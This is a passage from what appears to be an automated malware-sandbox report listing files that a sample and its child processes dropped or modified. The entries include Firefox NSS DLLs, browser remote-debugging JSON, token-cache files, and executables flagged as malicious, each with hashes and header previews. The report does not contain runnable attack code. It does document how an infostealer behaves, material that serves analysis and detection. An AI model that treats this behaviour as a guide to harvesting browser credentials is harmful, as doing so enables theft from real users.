Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ccb076c3-d456-41e6-a8aa-e8edc452c7cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46498
Entropy (8bit):	6.08700248192184
Encrypted:	false
SSDEEP:	768:pMkbJrT8IeQc5l9l4whi1zNa9l0kO0QWu8SsIQmxgpCioyJDSgzMMd6qD47u306:pMk1rT8Ht9LPIQ9FoytSmd6qE7Q
MD5:	ADC6F32613C19C067930E9F57155B8BB
SHA1:	ED3E4EA5114EF1E541FA2444923B76D86EE1AB86
SHA-256:	E516B23F997905894DD656E279B48707C25AB527259CD10FE8C4F6BC7514F0DA
SHA-512:	8945C2FEF8EA0EA9CA41BFA63E165D1170CFB601CA110D5C9B8EC7451C27515B59C979C136E6B9161D4F672D5F78A24C4364E96AAC8AD449EA9C2BCA7635D77B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376991216114724","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"15eabfa0-901f-4ea8-a3b7-0341a5d48e5d"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732517620"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d4dff444-49b1-42d8-bb13-2f0e624e5525.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.095808056558472
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWEwCi1zNt9ldN+oQsKYGKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2jMKtSmd6qE7lFoC
MD5:	F7C50604FB2500A2C5F2677908DB8650
SHA1:	33930805E17A4CE3319653B2E7AACEA17D707906
SHA-256:	BC47BC2530EF8936A4960306FBE2FF145D4E8B0E39475AFAD860DC2A2DA24737
SHA-512:	1476854A6ED02E674C234D0C0215D2FBEC53024BBA80BD406B18D861ABF819DA3B9D7294E67C05D0DA8121344A713380E2C105994BB953252C178954ACBC6E47
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.841845070834125
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx8xl9Il8u9lgOtIl04BrpAaY1LnI6/9d1rc:mhYL7WlNA97Le
MD5:	49CA20C22E0384D969576D97A9557930
SHA1:	C1B883118FAE1065E953BF04E8FEE4C1BAE8702D
SHA-256:	AD988FC9E39F4C2666EA763A3B0090E37A05E16A7F690B47FDBBB5BAD44AF825
SHA-512:	03834142ECBF58984D5F36E968F71A771DA565D80B301E3338D81CA9A46FA81887F7830E9CF27749169B52438CF058BBE3D64247748D06AFC461C413B90FAA8F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.F.o.V.J.A.8./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.5.U.p.g.N.n.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.001472340271416
Encrypted:	false
SSDEEP:	48:uiTrlKxExjhxD9Il8u9lgOD6Lc0BStxkOe3XW4FkisrqqLj7OfcolAF+sY3sjH38:jYL7+40BITe3xA7OfjDICqyf4l0
MD5:	78856D983780DE87DC77926D969B1B7A
SHA1:	354DC1210E8553CA170BB5C6EACA60B92E30A568
SHA-256:	6039769DBBD19F418F6B8CE803018E37AD09BE1761624FAB9D54FF8FA99DC683
SHA-512:	877160E57B03D27227E1A6A0313B07322CB9B7E21B3FC9CB58E9A8B00C20291EE6CBD12AA7AB27E8C92E50F07DECB69C696CBBC9E79BAA8BAA5CCDAA78BADE1B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".h.X.k.D.C.Q.c./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.5.U.p.g.N.n.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.900018085229073
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xtxl9Il8u9lgOiZtxX7QoXput20HKiYT5Pd/vc:azYL7iZz7QosDHKX5K
MD5:	08C26AA63B16A3D1F4C1D45F48D83FAC
SHA1:	30B239535093A50C38397EB66D6CF6C4BDFA1BB2
SHA-256:	D17F06FF04EC7C764FDEA8F8D9B14A3ABD6A78578A1D14EB027B2E574A4557FB
SHA-512:	6705DA91E05B1EE0575D7507A430BAFB39EEE5210705EA9BD30AF71BC4E44655663E911225929E32FBC80FD36829ECA748DA972C56DCEB41F41D812BA371E0CF
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".I.1.G.f.O.d.h.d.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.5.U.p.g.N.n.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.397717083520747
Encrypted:	false
SSDEEP:	96:6NnQ141HQ16NnQcbQsNnQhdzdm9QhdNNnQ5dgEQCNnQsQENnQtODQcNnQEwQ4Nnu:6Nq4w6NhNSdzdRdNNovNvNZzN78Nu
MD5:	AE7FFC7042BC282D8F4171C6C7F50B2F
SHA1:	04BC1C903362BA7151302A5DA5554CEB4DC62D5B
SHA-256:	F946B6B6220E1610312AFC85D9A897D5B8062428723356FD9D074259A155DD14
SHA-512:	DED437DD8E6E7466553F66F2B739F8DA7FE82548F8DA0901832D0521F5808A8BFA6BB26CF58F100E5A8E057666CEF629F3F09BE7662E1A23D4FF6E6C04BA1752
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A6565941C075E330B6AF84C743E47532",.. "id": "A6565941C075E330B6AF84C743E47532",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A6565941C075E330B6AF84C743E47532"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CCA746A5347DAC4CB1F7A9798D420EA2",.. "id": "CCA746A5347DAC4CB1F7A9798D420EA2",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CCA746A5347DAC4CB1F7A9798D420EA2"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.375304962757983
Encrypted:	false
SSDEEP:	48:SfNaoQZTEQXfNaoQMQlYfNaoQNQEfNaoQNj00UrU0U8QNO0:6NnQZTEQPNnQMQONnQNQwNnQ+0UrU0UP
MD5:	E49D281823235FC62B40F6C10B1638FE
SHA1:	DBA5320563E615BB859B5A8C10EB11BD35BF5DA3
SHA-256:	7E18940ACD5CBFF8A7BA21AAD4ED2B7F4E0AEEFF4E229692E70CDA01D591614B
SHA-512:	8EF6DF4FB4B820798B0138E9214B9422CF0D3BCD779DAD6B7F0597B3C293FE8CA0AD58FCFF36677C83CAAC3398861D77891DD7266C2253BF3D80DBD6CD78D57F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1F3362EF146846736B8430AD7CF18DBF",.. "id": "1F3362EF146846736B8430AD7CF18DBF",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1F3362EF146846736B8430AD7CF18DBF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1D382FF176CC91C9EA8BD3CF0DCD7DA0",.. "id": "1D382FF176CC91C9EA8BD3CF0DCD7DA0",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1D382FF176CC91C9EA8BD3CF0DCD7DA0"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1966080
Entropy (8bit):	7.950980569505603
Encrypted:	false
SSDEEP:	49152:1X+Zn8fcN9XJSwwkjd7FgX5I0F7e/b6G9cG:1uZ8fcfXOkjZFgN0QG
MD5:	B1734D770AB1E0F7B6DF002639FF531C
SHA1:	D442F4E30AFED1447F761A2584EFDD1B0B8FEFB5
SHA-256:	65FA749BBB474E7E55A002CC9D2954FBF8720746F34D2967B99D0E78BD1AEB48
SHA-512:	FD12BDB3AA07AF978736FBD0559D6AAF16E18A01E5BBB7512FE93020CAEC116E1D8B3CB0C411587D6DAD1D88E49DF20C0C94923329A7F164297AC536A2E3410D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@...........................M...........@.................................W...k.......D...................H.M...............................M..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...jexkdxjd......2.....................@...jghdqcql......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4414976
Entropy (8bit):	7.985335583490725
Encrypted:	false
SSDEEP:	98304:ZS7isi15dKkUG4uyef+yNgZHtyxs3FwOv7w5MFjKg:E7ism5dKkzmyaZHtAdOvECFj/
MD5:	EB315A7709B7905B3F5FB8053E593ABB
SHA1:	23F9EAFA858D70B35CF0D6D062D0429FADDA41F7
SHA-256:	54BD07FF8A930A49C2BC85BD36B25782D4F808E712E751086165ABCDE5D3A05D
SHA-512:	9DCDEBD8B19CE110798EB0517239D0697627EF9B74579F4FA19E50FF6705A9937EA27A29B9226B025E85C164171C3CB2F6101A10F58CE2B1CD252FB3F3219975
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@.................................@.C...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..9...q.......'.............@...rmijescy..... ........'.............@...yoxmxstw.............6C.............@....taggant.0......."...<C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4414976
Entropy (8bit):	7.985335583490725
Encrypted:	false
SSDEEP:	98304:ZS7isi15dKkUG4uyef+yNgZHtyxs3FwOv7w5MFjKg:E7ism5dKkzmyaZHtAdOvECFj/
MD5:	EB315A7709B7905B3F5FB8053E593ABB
SHA1:	23F9EAFA858D70B35CF0D6D062D0429FADDA41F7
SHA-256:	54BD07FF8A930A49C2BC85BD36B25782D4F808E712E751086165ABCDE5D3A05D
SHA-512:	9DCDEBD8B19CE110798EB0517239D0697627EF9B74579F4FA19E50FF6705A9937EA27A29B9226B025E85C164171C3CB2F6101A10F58CE2B1CD252FB3F3219975
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@.................................@.C...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..9...q.......'.............@...rmijescy..... ........'.............@...yoxmxstw.............6C.............@....taggant.0......."...<C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\37785ad5-0905-4e27-86c7-5044122ba9db.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
